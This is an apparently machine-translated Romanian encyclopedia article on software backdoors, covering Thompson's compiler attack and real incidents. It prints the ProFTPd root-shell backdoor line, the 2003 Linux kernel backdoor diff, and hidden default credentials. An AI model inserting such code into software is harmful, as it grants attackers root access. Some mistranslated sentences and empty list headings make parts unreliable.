În software , un backdoor (în engleză backdoor , literalmente. „Ușa din spate”) este o funcție necunoscută a utilizatorului legitim, care oferă acces la un software secret.
Introducerea unui backdoor în software fără cunoștința utilizatorului transformă software-ul într-un cal troian .
Un backdoor poate fi introdus fie de către dezvoltatorul de software, fie de către o terță parte. Oricine are cunoștințe despre backdoor-ul îl poate folosi pentru a monitoriza activitatea software-ului sau chiar să preia controlul asupra acestuia (ocolind autentificarea ). În cele din urmă, în funcție de amploarea drepturilor pe care sistemul de operare le acordă software-ului care conține ușa din spate, controlul se poate extinde la toate operațiunile dispozitivului care rulează software-ul ( computer , smartphone , dispozitiv de monitorizare etc. obiecte conectate etc.) .
Larg răspândită rețea de dispozitive conectate și computere face backdoors mult mai util decât atunci când accesul fizic la calculator a fost regula.
Printre motivațiile dezvoltatorilor de software pentru a crea ușile din spate se numără:
Printre motivațiile care au condus hackerii să instaleze un backdoor:
Pentru a instala ușile din spate în masă, hackerii folosesc viermi . Acestea se răspândesc automat și instalează un server de computer pe fiecare mașină infectată. Apoi hackerul se poate conecta prin Internet la server.
O ușă din spate poate fi, de asemenea, introdusă prin intermediul oului de Paște , compilator (a se vedea secțiunea de mai jos Cazul compilatorului Unix C: Trusting Trust ) sau poate lua forma unui program, cum ar fi Back Orifice .
În 1983 , informaticianul american Kenneth Thompson a descris, în conferința sa de Turing intitulată Reflections on Trusting Trust și a titrat:
„În ce măsură ar trebui să avem încredere într-o declarație conform căreia un program nu conține cai troieni? Poate că este mai important să aveți încredere în oamenii care au scris software-ul. "cu alte cuvinte :
„Cât de mult putem crede că un program este liber de troieni?” Probabil este mai important să crezi oamenii care au scris software-ul. " ,cum ar fi fost posibil să introduceți un backdoor în toate programele C compilate pe Unix . De asemenea, întrucât versiunile actualizate ale acestui compilator , care nu este altceva decât un alt program compilat, sunt compilate din compilatorul C preexistent, algoritmul de inserare backdoor ar fi mers greșit. Înainte de la o actualizare la alta. Deci, dacă acest compilator de backdoor ar fi fost „eliberat în sălbăticie” (în limba engleză : eliberat în sălbăticie ) la început, atunci orice compilator C ar insera ușile din spate posibil astăzi.
Rețineți că backdoor-ul prezent în toate programele C compilate nu va apărea niciodată în codul sursă C.
Termenul de încredere (pentru încredere ) provine din faptul că compilatorul original C este considerat de către utilizatorul său final ca o cutie neagră de încredere.
Pentru un programator care nu înțelege cum funcționează un astfel de compilator , dar are încredere în el, ar fi greu să ne gândim că un program , pe care el însuși l-a scris și apoi l-a compilat, conține un backdoor.
16 februarie 2012, a fost dezvăluită o cheie secretă pentru autentificarea ca root (Administrator) pe majoritatea dispozitivelor vândute de F5 . Defectul a fost corectat de vânzător pe6 iunie 2012. Această cheie este prezentă pe toate dispozitivele vulnerabile, bug-ul a primit un premiu Pwnie (în) în timpul BlackHat SUA 2012 .
13 decembrie 2010, un cont ascuns a fost găsit în sistemul de stocare HP StorageWorks P2000 G3: numele de utilizator „admin” și parola „! admin” vă permit să vă identificați cu privilegii maxime. Nu este posibil să ștergeți acest cont, pe de altă parte, este posibil să schimbați parola folosind linia de comandă (comanda „ set password admin password ... ”).
28 noiembrie 2010, tarball-ul celei mai recente versiuni (1.3.3c) a serverului FTP ProFTPd a fost înlocuit cu o versiune care conține un backdoor pe serverul FTP oficial al proiectului. Backdoor-ul adaugă o comandă „HELP ACIDBITCHEZ” care deschide un shell ca utilizator root . Tarballul a fost propagat pe toate oglinzile oficiale. Compromisul a fost descoperit pe1 st decembrie 2010, și corectat pe 2 decembrie. În special, backdoor-ul a adăugat următoarea linie în fișierul src / help.c:
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }Atacatorul a intrat în serverul FTP folosind un defect din modulul SQL PostgreSQL care permite executarea codului de la distanță. Acest defect a fost postat pe17 noiembrie 2010în numărul 67 al revistei Phrack . Defectul este corectat de versiunea 1.3.3d a ProFTPd.
Trei conturi au fost descoperite într - un Cisco videoconferințe sistem , Cisco Unified Videoconferinte (UVC), Sistemul de 5110 și 5115 de modele, folosind Linux de operare sistem . Florent Daigniere a descoperit aceste conturi în timpul unui audit și le-a postat pe lista de discuții Full Disclosure pe17 noiembrie 2010. Cisco a emis un buletin de securitate în aceeași zi. Acestea sunt conturile „root”, „cs” și „develop” care nu pot fi modificate sau șterse. Permit accesul la distanță prin protocoalele FTP și SSH . Alte defecte au fost descoperite în timpul acestui audit.
4 noiembrie 2003, un backdoor a fost introdus în kernel-ul Linux direct pe serverul CVS de către un atacator care se dădea drept David S. Miller (dezvoltator de kernel). A fost detectat a doua zi. Serverul CVS a fost o oglindă a depozitului oficial care utilizează BitKeeper . Backdoor-ul a fost grefat foarte sintetic, este format din două linii de limbaj C , adăugate la funcția sys_wait4 a fișierului „kernel / exit.c”:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;Condiția (current->uid = 0)ar trebui citită de un cititor deosebit de naiv ca o comparație „dacă numărul de utilizator al procesului este 0 (rădăcină)”, dar de fapt în C înseamnă atribuirea „numărul de utilizator al procesului devine 0 (rădăcină)”. Rezultatul este că, dacă această funcție sys_wait4 () rigged a fost apelată cu parametrii __WCLONE | __WALL, procesul și-a asumat identitatea root, nivelul utilizatorului cu drepturi de acces complete.
Această modificare a fost menită să profite de confuzia dintre diferite limbaje de programare, unde simbolul comparației a două valori este semnul = (Pascal, Ada, ML ...) și altele în care este dubla egalitate ==care joacă acest rol (C, C ++, Java ...), semnul = semnifica apoi o atribuire a unei valori unei variabile . Este puțin probabil ca această modificare să treacă neobservată, deoarece acest tip de eroare este greu de compatibil cu nivelul computerului programatorilor care lucrează pe nucleul Linux. Limbajul C fiind limbajul de programare cel mai utilizat pe sistemele familiei Unix, foarte puțini utilizatori non-începători s-ar fi lăsat preluați.
În plus, procesul de dezvoltare colectivă a software-ului (în special cel al software-ului gratuit) necesită validarea fiecărei modificări; trebuie să aibă o justificare legitimă pentru aceasta. Astfel, orice modificare, oricât de mică, apare în dif și ridică întrebări legitime dacă nu are o justificare clară.
_NSAKEY este numele unei variabile descoperite în august 1999 în sistemul de operare Windows NT 4 (SP5) pentru Microsoft . Această versiune a fost lansată fără ca informațiile de depanare să fie eliminate. Variabila descoperită de Andrew D. Fernandes de la Cryptonym Corporation conținea o cheie publică de 1024 de biți . Știrea a stârnit un strigăt public și apariția diferitelor zvonuri cu privire la o posibilă conspirație guvernamentală. Dacă NSA ar fi fost într-adevăr în posesia cheii secrete corespunzătoare cheii prezente în Windows NT, ar fi fost posibilă criptarea datelor provenite de la utilizatori și, cu complicitatea Microsoft, recuperarea acestor informații.
Un backdoor a fost descoperit în sistemul de gestionare a bazei de date Interbase pe10 ianuarie 2001, la deschiderea codului sursă de către editorul său, Borland . A fost suficient să introduceți numele de utilizator „politic” și parola „corect” ( politic corect , literalmente „ politic corect ” în franceză) pentru a vă conecta ca administrator. Acest backdoor a fost introdus între 1992 și 1994. Deoarece acest cont nu poate fi modificat sau șters, a fost, prin urmare, necesar să instalați o nouă versiune a Interbase care să nu conțină acest cont ascuns.
BIOS - ul unor producători (principalele două, AMI și PREMIUL ) au o parolă ascunsă pentru a accesa BIOS - ul , chiar dacă sunt protejate de o parola aleasa de utilizator. Parola ascunsă depinde de modelul BIOS.
În următoarele cazuri, o modificare a software-ului a introdus o vulnerabilitate de securitate, fără ca autorul modificării să fi făcut acest lucru în mod intenționat. Autorul nu avea abilitățile de a evalua că modificarea sa ar putea introduce o vulnerabilitate de securitate sau, mai simplu, nu s-a gândit la impactul pe care l-ar putea avea asupra securității produsului.
17 septembrie 2006, o vulnerabilitate de securitate a fost introdusă în mod neintenționat în versiunea Debian a bibliotecii OpenSSL . Antrenorul pachetului OpenSSL, Kurt Roeckx, a fost cel care a introdus2 mai 2006o eroare de securitate în OpenSSL care încerca să remedieze un avertisment din instrumentul Valgrind , care era de fapt un fals pozitiv. Faptul că modificarea a introdus o vulnerabilitate de securitate este neintenționat: Kurt Roeckx a contactat dezvoltatorii OpenSSL pentru sfaturi, dar a apărut confuzie. Prima versiune vulnerabilă, 0.9.8c-1, a fost descărcată în distribuția instabilă pe17 septembrie 2006. Defectul a fost găsit înMai 2008 și corectat pe 13 mai 2008.
Schimbarea la OpenSSL a redus entropia generatorului de numere aleatorii la doar aproximativ 15 biți: a fost utilizat doar identificatorul de proces (PID). Un identificator poate avea o valoare cuprinsă între 1 și PID_MAX (32768), care oferă doar 32.767 semințe posibile. La nivelul cheilor de criptare, există de trei ori mai multe, 98.301, deoarece generarea cheilor depinde de arhitectură și, în acest caz, intră în joc 3 arhitecturi diferite (32-bit puțin endian, 64-bit puțin endian și 32-bit big-endian).
Instalatorul sistemului de operare Ubuntu , în versiunea sa 5.10 (Breezy Badger, lansat pe13 octombrie 2005), a scris parola utilizatorului root în mai multe fișiere jurnal care pot fi citite de orice utilizator. Bug-ul a fost găsit de Karl Øie pe12 martie 2006, apoi corectat în aceeași zi. Această eroare permite unui utilizator local să își ridice privilegiile . Este mai probabil ca aceasta să fie o supraveghere din partea programatorilor instalatorului decât o încălcare a securității introdusă în mod deliberat.
Scenariul filmului american WarGames se bazează pe o ușă din spate. Proiectantul unui sistem de calcul militar introduce o ușă din spate sub forma unei parole nedocumentate care oferă acces la acesta. Această parolă oferă, de asemenea, acces la funcționalitatea programului nedocumentat, ceea ce face ca sistemul de control al armelor să pară ca un joc video de simulare a războiului.
În filmul Tron: Legacy Sam Flynn pătrunde în grilă folosind un ID de backdoor.
În seria Persoană de interes , o ușă din spate implantată într-un sistem de supraveghere în masă deținută de guvern, numită Mașina, permite doi bărbați să o folosească în secret.
În jocul video Watch Dogs 2 , Marcus Holloway injectează o ușă din spate în CtOS 2.0.